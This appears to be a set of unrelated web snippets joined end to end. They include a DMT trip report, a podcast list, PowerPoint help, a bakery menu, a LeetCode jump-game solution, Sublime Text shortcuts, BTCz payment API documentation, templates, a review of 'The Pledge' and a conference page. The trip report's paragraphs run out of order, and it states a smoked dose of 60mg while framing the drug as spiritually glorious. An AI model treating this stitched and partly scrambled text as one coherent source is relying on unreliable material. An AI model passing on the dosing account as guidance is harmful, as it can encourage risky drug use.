In my next memory I am in a very colorful, futuristic, busy place. I have no memory of living as a human. Everything from this reality does not exist in this place. DMT brings me to a completely different reality. I can't explain it. Nothing could of prepared me for that. It is hard to remember a full blown DMT trip. It's hard to put it all together. My heart is racing as I think about it now. As the peak ends I began what is known as the rebirth. That's really what it is. I felt like I was an unborn baby in my mothers womb. Still NO memory of this life. Slowly and gently I download the version of reality that we use. I felt this reality seeping into my being. I started to remember. I started to dream about my past and future events. The visions were very dream-like at this point.
Duality was the hardest thing to grasp as I came back. DMT showed me Eternal Oneness. We are bound to duality so we can truly learn that we are one.
I took this journey when I was alone in my apartment. As I came out of it I had a realization. I smoked DMT.  My mind was blown. I still couldn't move or see very well and I was definitely not alone. There was a presence around me and I thought my roommate had come home. I was sure of it, and I kept saying 'hold on' because I was still incapacitated, but I knew at this point that I was going to come out of it.
I was covered in warm liquid energy and was flying through classic psychedelic imagery. It felt like the peak of a 5 gram mushroom trip but this didn't even faze me. I felt like a warrior who just survived the most epic war. These were some clean hard visuals that only DMT can give me. Very technological yet organic.
It seemed like I just snapped out of it all at once. I felt like I had control again so i tried to sit up and it worked. It was a big shock when I looked around and my roommate wasn't there. I was alone the whole time after all. I broke into tears at this point. The experience was too glorious, too deeply spiritual to even fathom. I was so gracious for everything I experienced and for the amazing blessing of this life I am living. I looked at the pipe and realized it was completely empty. This surprised me. I put in 60mg of orange crystals but did not expect to get it all. I just wanted to smoke until I was too high. The hits I took were huge and I held them in.
Thanks a lot if you read all that. I was just thinking about my trip and realized I never wrote out my thoughts about what happened, and thought you guys might like to hear about it. There is no way to really describe what was felt but I tried my best. This happened 2 years ago and i am just now getting ready to go there again. It is going to take courage but i feel ready so I will be journeying again soon.
--------------------
Truth is plural
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Between commuting by bicycle and working, I listen to a lot of podcasts. I listen to podcasts to learn something new, keep up with the news, and, occasionally, hear other viewpoints. I thought it would be worth sharing a few that I (almost) never miss downloading and listening to, especially those that others may not regularly hear about, are new, or are sort of niche in terms of the audience. For what it’s worth, I use Pocket Casts both on my computer and phone, as it syncs easily between them and has an easy to use interface.
Podcasts I always listen to (in no particular order)
Kristen (a Republican-leaning pollster) and Margie (a Democrat-leaning pollster) talk. It’s not just about politics and I always learn something new, whether about public opinion or polling methodology.
A story every day. Sort of new, I listen to it every day.
Sam Sanders was part of the NPR Politics podcast I listened to all last year; his new show is great, and is not just about politics. If there is absolutely one I never miss, this has become it.
Smart, occasionally funny, obviously about politics.
Interviews between Tyler Cowen and his guest. More of these than I can count have been incredible and worth returning to listen to.
Elizabeth and Roger are insightful about academia; this is one podcast after which I always feel like I learned something useful, and often end up discussing episodes with friends and colleagues who also listen to it.
Timely, well-researched interviews with a variety of guests, from a more liberal viewpoint.
This took me a little bit of time to find, but after searching for a conservative podcast, I found that they are reasonable, and while I disagree with many of the conclusions they reach, I can at least understand how they got there.
Any others?
 The above are those that stood out for one reason or another. Message me on Twitter if you would like to suggest any.


Create a new presentation
You can create a new presentation in several ways. You can start by working with the AutoContent wizard, in which you begin with a presentation that contains suggested content and design.
Another way to start a presentation is by selecting a design template that determines the presentation's design but doesn't include content. You can also begin with an outline you import from another application or with a blank presentation that has neither suggested content nor design.
Create a presentation based on a design template
1.On the File menu, click New, and then click the Templates tab.
2.Scroll to see all the design templates, click the one you want, and then click OK.
3.You can also find more templates at additional locations.
4.Scroll to see the slide layouts, and then select a layout for your title slide.
5.Type the title and any other content you want on the title slide.
6.On the Formatting toolbar, click Common Tasks, click New Slide, and then select a layout for the next slide.
7.Add the content you want.
8.Repeat steps 5 and 6 for each new slide.
9.When you finish, click Save on the File menu.
10.Name your presentation, and then click Save.
11.To see how your slide show will look, click Slide Show at the lower left of the PowerPoint window.


Trader Edroc:
Can I sell you something, friend? Please tell me if you see something you like.
Buy equipment for Fighters.
Buy equipment for Wizards.


What do we offer?
Cookies To take home
$3.75
Brown Muffins
$4.50
Hard Cookies
$3.00
Soft Cookies
$5.00 per pint
$3.75
$4.50
$3.00
$5.00 per pint
Our recipe is made from the finest ingredients that are only found from the best garden has to offer.
Mr Nickeson sat in his corner and thought of a great idea to put a smile on everyones face. Salmon Cookies!. Since that day we have been baking our famous Salmon Cookies and spreading our delicious to our community


Given an array of non-negative integers, you are initially positioned at the first index of the array.
Each element in the array represents your maximum jump length at that position.
Determine if you are able to reach the last index.
Example 1:
Input: [2,3,1,1,4]
Output: true
Explanation: Jump 1 step from index 0 to 1, then 3 steps to the last index.
Example 2:
Input: [3,2,1,0,4]
Output: false
Explanation: You will always arrive at index 3 no matter what. Its maximum
jump length is 0, which makes it impossible to reach the last index.
See 45. Jump Game II. If the range does not expand at some point, we know it is stuck.
/**
* @param {number[]} nums
* @return {boolean}
*/
var canJump = function(nums) {
for (let l = 0, r = 1; r < nums.length;) {
let rNext = r
for (let i = l; i < r; i++) {
const rNextAtmp = i + nums[i] + 1
if (rNextAtmp > rNext) {
rNext = rNextAtmp
}
}
if (rNext <= r) { return false }
l = r
r = rNext
}
return true
};
If we view it backward, and if the range of nums[n-2]
covers
nums[n-1]
, then we can safely make n-2
the new
destination point, and so on.
If nums[0]
can cover the last destination point, it is good.
/**
* @param {number[]} nums
* @return {boolean}
*/
var canJump = function(nums) {
let des = nums.length - 1
for (let i = des - 1; i > 0; i--) {
if (nums[i] + i >= des) {
des = i
}
}
return nums[0] >= des
};
Template generated via Leetmark.


I’ve been using Sublime Text for about a year now. It’s probably the best engineered tool I’ve ever used to do anything - period. Just recently though I’ve been starting to use some of its more useful features. I’m going to document them here for easy reference. This is on a Linux installation and some of these are custom commands:
Keystrokes
super+d
: select word/multiple selectshift+right-mouse-button+ drag
: column selectctrl+shift+l
: multiple selections per linesuper+r
: go to symbolctrl+m
: jump to closing parensctrl+shift+m
: select all contents of the current parenthesesctrl+k+k
: delete from cursor till end of linectrl+k+backspace
: delete from cursor till beginning of linectrl+shift+/
: block comment current selectionctrl+y
: repeat last keyboard shortcutctrl+KU
: transform to uppercasectrl+KL
: transform to lowercase- hit
ctrl+p
and then immediately type in a symbol to go straight to a class or method in the file - if you select a line of text and hit open parentheses it will add the closing parenthesis
ciw
: cut internal word (Vintage mode)
Snippets
Zen Coding
ul>li*4>a[href='#']{Important Link}
#=>
1 2 3 4 5 6 |
|
- can wrap in parentheses to distinguish between sections:
.container>(.header>header>h1{My Website})+.main+.footer>footer


VICTON trends on Twitter after they get their first-ever music show win
by sl278Boy group VICTON has achieved their first music show win!
The group is trending worldwide as fans congratulate them after their first place win with their track "Nostalgic Night" on 'The Show'.
During the first place speech, they also name-dropped Seungwoo, who is currently promoting in X1.
Congratulations to VICTON!


You can use our API to accept BTCz payments on your website and verify the transaction. The pay.btcz.app gateway is an free to use API service that provide you end-to-end-user BTCz payment. It generating a new address (and QR) for each payment. It also provide you web UI for the payment process and states templates until success.
In order to have an alterative regarding the usability of payment gateways, it is a need to have this open-sourced solution as basis for every developer. Also mostly to push user acceptance, this project must have to be a lever in the entrepreneurship people. Please visit the Getting started page to know more about integrating this API in your online store.
For any comment, suggestion or issues about this gateway, feel free to contact us via the below community channels. You can also contact us directly by using the contact form. Please visite first the FAQ page for any usage related question.
This is a free and open-source service, please support us by donating here.
[BTCz.app] BTCz: t1VYSo8VtpKMm1SUwp1KJHbqrtfqj7tgpaE[Community] BTCz: t1fHHnAXxoPWGY77sG5Zw2sFfGUTpW6BcSZ
/api/request_payment/:expect/:currency/:message/:seller/:customerMail/:ipnPingback/:cliCallbackSuccess/:cliCallbackError/:SpeedSweep/:secret
<EMAIL_ADDRESS><EMAIL_ADDRESS>https://pay.btcz.app/api/request_payment/? expect=0.005& currency=BTCZ& message=wheres%20the%20money%20lebowski& seller=t1VYSo8VtpKMm1SUwp1KJHbqrtfqj7tgpaE&<EMAIL_ADDRESS>ipnPingback=https%3A%2F%2Fwww.google.com& cliSuccessURL=https%3A%2F%2Fwww.google.com& cliErrorURL=https%3A%2F%2Fwww.google.com& SpeedSweep=0& secret=01234abcd
{ "id":"c5e9631d-b107-4022-8de5-ae9f0efd03af", "secret":"01234abcd", "address":"t1gwku8spbCFUodyJ26njknnDxeZGM8hVmm", "link":"bitcoinz:t1gwku8spbCFUodyJ26njknnDxeZGM8hVmm?amount=14.77818972&message=Hello", "qr":"http://localhost:2222/generate_qr/bitcoinz%3At1gwku8spbCFUodyJ26njknnDxeZGM8hVmm%3Famount%3D14.77818972%26message%3DHello", "qr_simple":"http://localhost:2222/generate_qr/bitcoinz:t1gwku8spbCFUodyJ26njknnDxeZGM8hVmm?amount=14.77818972" }
https://pay.btcz.app/invoice/4d30ed16-d729-4ee5-aeaa-d6787e79b90c
/api/check_payment/:id
https://pay.btcz.app/api/check_payment/4d30ed16-d729-4ee5-aeaa-d6787e79b90c
{ "generated":"t1gwku8spbCFUodyJ26njknnDxeZGM8hVmm", "btcz_expected":14.77818972, "speed_sweep_fee":5, "btcz_actual":0, "btcz_unconfirmed":0, "currency":"USD", "amount":0.01, "timestamp_start":1537815608394, "timestamp_now":1537816142575, "timestamp_stop":1537816808394, "state":0, [optional] "tx": {"tx":"TX Hex string","broadcast":{"result":"broadcast Hex string","error":null,"id":"621680ed-ae85-4db3-bd84-58d5ed2edff8"}}} [optional] "success_callback_url":"https://mysite_or_IP/result/?Hello=1", [optional] "err_callback_url":"https://mysite_or_IP/result/?Hello=0" }
https://yourDomaine.com/yourPath/?and=yourParam&secret=01234abcd&state=5
https://yourDomaine.com/yourScript.php?secret=01234abcd&state=2


| Created: | 1/27/2021 3:53:34 PM |
| Modified: | 1/27/2021 3:53:34 PM |
| Project: | |
| Advanced: |
| Attribute |
|
Public serial id |
|
Details:
|
|
Public varchar(255) first_name |
|
Details:
|
|
Public varchar(255) last_name |
|
Details:
|
|
Public varchar(255) phone |
|
Details:
|
|
Public varchar(255) created_by |
|
Details:
|
|
Public varchar(255) updated_by |
|
Details:
|
|
Public timestamp with time zone(0) created_at |
|
Details:
|
|
Public timestamp with time zone(0) updated_at |
|
Details:
|
|
Public timestamp with time zone(0) start_date |
|
Details:
|
|
Public timestamp with time zone(0) end_date |
|
Details:
|
| Operation | ||
|
Public contacts_pkey( id: serial, |
||
|
Details:
<<PK>>
|
| Tag | Value |
| Owner | public |
|
Details:
|
| Property | Value |
| isFinalSpecialization: | 0 |


{% extends "default.html" %} {% block header %} {{ govukHeader(serviceName="Viability Assessments") }} {% endblock %} {% block beforeContent %} {{ super() }} {{ govukBreadcrumbs({ "items": [ { "text": "Home", "href": url_for('viability.index') }, { "text": "Guidance" } ] }) }} {% endblock %} {% block content %}
Guidance to support local planning authorities in preparing and publishing viability assessment reports.
Viability assessments are used by plan makers to help decide policy requirements on, among other things, affordable housing, infrastructure and public services for an area. They are intended to help ensure that:
For more information, read GOV.UK’s detailed guidance on viability assessments.
The July 2018 revision of the National Planning Policy Framework states that viability assessments must:
This is in keeping with government commitments to open data, transparency and the use, where appropriate, of standards based on the needs of users.
The framework also suggests that plans should be accessible through the use of digital tools to assist public involvement and policy presentation. This follows the government’s digital-by-default approach to services and information in the public sector. Local authorities should therefore publish viability assessments on their website.
For planners, policymakers and others to benefit from the insights viability assessments can offer, they must be able to easily find and use them.
MHCLG is exploring different ways to make viability assessments more useable and more findable, working for example with Southwark council to develop specifications. The recommendations below are a work-in-progress. This guidance will be updated as necessary with new developments.
Local authorities can make viability assessments easier for users to find by:
The lists of viability assessments local authorities should produce will be more effective in directing users to relevant assessments if they follow agreed specifications. MHCLG is looking to develop a standard for both viability assessments and the lists compiling high level information.
A local authority’s list should be in .csv format and include the following headers and information:
a weblink to the viability assessment that isn’t used for something else and is redirected if changed
of the planning application
of the site being developed
in the Section 106 agreement
This list should be published on the local authority’s website and sent to MHCLG’s index of lists at…
A new version of the list should be published at the same persistent URL, but older versions should be accessible.
You can easily check your list of viability assessments to make sure it meets the current specification by using this validator. It will ensure that:
Viability assessments can contain a considerable amount of information. To help users understand the most important content of individual viability assessments, these must contain an executive summary.
If viability assessments aren’t formatted and labeled properly they can be difficult to use from a practical standpoint. For this reason they must be:
A new version of the viability assessments should be published with a new number at a new URL.


The Pledge * * * 1/2 (out of * * * * )
Directed by Sean Penn. Cast: Jack Nicholson, Robin Wright Penn, Pauline Roberts, Aaron Eckhart, Helen Mirren, Vanessa Redgrave, Patricia Clarkson, Benicio Del Toro, Tom Noonan, Sam Shepard, Harry Dean Stanton, Lois Smith, Mickey Rourke. 2001 - 124 minutes Rated R (for violence, profanity, and gore). Reviewed by Dustin Putman, January 27, 2001.
They say the first two months of every year is littered with the movie studios' unwanted children--those films that they have little to no faith in, and release at a time when they can exit quietly from theaters without being noticed. Each year, however, one movie does seem to come out that is a step above everything else. In 1999, it was Neil Jordan's vastly underrated "In Dreams," and in 2000, it was Curtis Hanson's underseen "Wonder Boys." Sean Penn's "The Pledge" is a film like those two, and in a few superficial ways, bears a slight resemblance to "In Dreams," a frightening, astonishingly original serial killer thriller (seek it out if you haven't seen it, by the way).
"The Pledge" opens like most police murder mysteries do, with the discovery of a mutilated body, and the immediate question of who committed such an atrocity. But there is a subtle difference here, because the film already had managed, by the opening ten minutes, to involve me so deeply that I didn't dare take my eyes off the screen and my mind off the story and characters until the end credits rolled. With the aid of Jerzy Kromolowski and Mary Olson-Kromolowski's tightly wound, multilayered screenplay, and Chris Menges' chilly, unforgettably beautiful cinematography, the movie miraculously seemed fresh, even while wading through early familiar territory. Beginning as the story of a murder investigation, it isn't long before the film's true, insulated aspirations emerge.
It is the final working day before dedicated homicide detective Jerry Black's (Jack Nicholson) retirement when a young boy discovers the bloody corpse of a seven-year-old girl lying in a snow-covered wooded area. Jack decides to accompany his eager, young replacement (Aaron Eckhart) to the crime scene, and later takes the duty of informing the child's parents.
It seems that the deceased girl had made a buddy right before she died that she told her friends was called "The Wizard," a giant-like figure in a black car that gave her small porcelain porcupines as gifts. With two young girls murdered eight and three years ago within the same Nevada vicinity, both wearing red dresses and killed in a similar fashion, Jerry is convinced the killer will strike again soon. Buying a home/gas station off one of the main roads, Jerry prepares to, once and for all, find the culprit. His chances start to look up after meeting a distressed coffee shop waitress (Robin Wright Penn) whose eight-year-old daughter, Chrissy (Pauline Roberts), is given a porcupine while at a flea market.
"The Pledge" runs through the paces of a generic serial killer thriller in the first half, but it is far from ordinary. The movie doesn't even seem terribly interested in the identity of the killer, since Jerry more or less figures out who it is before the end.  And more than even that, the film gradually transforms into a thoughtful, morose character study--one that concludes on such a tragic, unforeseen note, it has the power to leave you not only shaken, but deeply provoked into thinking about the movie as a complete whole. Every part, every scene, every red herring holds a clever purpose in distracting you for as long as possible while it sets up Jerry's desolate downfall.
In Jerry Black, Jack Nicholson has found a role that is every bit as memorable and stirring as that of Jack Torrance in 1980's "The Shining," even without nary a scene in which he turns evil and begins chasing people with an ax. Widely known for his offbeat charm and sinister eyebrows, Nicholson feels more human here--more flawed, yet caring--than he rarely has been captured on film. His Jerry is a warm, compassionate man that you can't help but sympathize with as his goal becomes a deep-seeded obsession that is putting his life and newfound relationships in danger.
Surrounding Nicholson are an array of exciting performers, many of which are little more than cameos, but all of which leave some sort of precise impression. Robin Wright Penn (1999's "Message in a Bottle"), equipped with an unattractive, dark haircut and a chipped front tooth, gives a courageous performance, both physically and internally, and newcomer Pauline Roberts, as her little daughter, Chrissy, is a natural young actress with a lot of charisma. Aaron Eckhart (2000's "Nurse Betty") is appropriately smarmy as the cop that replaces Jerry, and therefore sees himself as superior, while Patricia Clarkson (1998's "High Art") and Vanessa Redgrave (1999's "Girl, Interrupted"), as the deceased girl's mother and grandmother, respectively, offer up indelible, poignant turns. Finally, Benicio Del Toro (2000's "Traffic") literally disappears into his mentally challenged Native American character who is believed to be the murderer early on.
"The Pledge" is, on the one hand, about the oath a man takes so seriously it washes over his entire existence, but it is also about a person's terrifyingly subtle descent into madness when all that he ever lived for is taken away from him. A provocative morality tale, "The Pledge" is not only the first great motion picture of 2001 (and one that might even appear on my annual ten-best list), but also a film that exposes Sean Penn as being every bit as talented a director as he is an actor.
- Copyright 2001 by Dustin Putman http://www.us.imdb.com/ReviewsBy?Dustin+Putman http://www.atnzone.com
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Agents ranking based on ticket numbers last month
| Booking Agent |
Count |
{% for a in ticket_num_month %}
| {{ a['booking_agent'] }} |
{{ a['count'] }} |
{% endfor %}
Agents ranking based on ticket numbers last year
| Booking Agent |
Count |
{% for b in ticket_num_year %}
| {{ b['booking_agent'] }} |
{{ b['count'] }} |
{% endfor %}
Agents ranking based on commission last year
| Booking Agent |
Commission |
{% for c in commission %}
| {{ c['booking_agent'] }} |
{{ c['total_commission'] }} |
{% endfor %}


The World Affairs Conference (WAC) is Canada's oldest annual student-run current affairs conference. Annually held at Upper Canada College in Toronto, Canada, the World Affairs Conference connects over 1000 students, with a common interest in current affairs, from across North America.
This year, WAC 2018's theme is Paradigm Shifts: how have the axioms of society changed, and how will they change in the future? Some of our programs will include discussions on new innovative technologies, the ever-changing political landscape, and shifts in social policy and movements.
Keynote Addresses Plenaries FAQ ContactThe increasing possibilities of artificial intelligence will have consequential impacts on society. Ranging from an upheaval of the job market to an increasingly computer dependent world, artificial intelligence is one of today’s most profound paradigm shifts. Geoffrey Hinton, nicknamed the “Godfather of Machine Learning”, divides his time between working for Google and the University of Toronto. His expertise will address how AI will change the society we live in now.
"Our Time" was a short film made for WAC 2017, emphasizing the importance of the topics of WAC 2017 and what roles students could play in solving global problems.
Two years ago, Edward Snowden gave the WAC 2015 Lionel Gelber Keynote Address. In June 2013, Snowden leaked highly classified information about the scale and scope of NSA and CIA counter-terrorism and counter-intelligence operations around the globe. Since then, he has become a household name and is among the most influential privacy activists in the world. At the Keynote Address, Snowden explained his views on global privacy issues, government involvement in citizens' lives, and the dangers of the digital age.


Current demo compares 2 different implementations in terms of performance degradation if using multiple requestAnimationFrames in parallel. To see realistic result you need to use a device without native RAF support or comment out "useNative = true" in AnimationFrame.js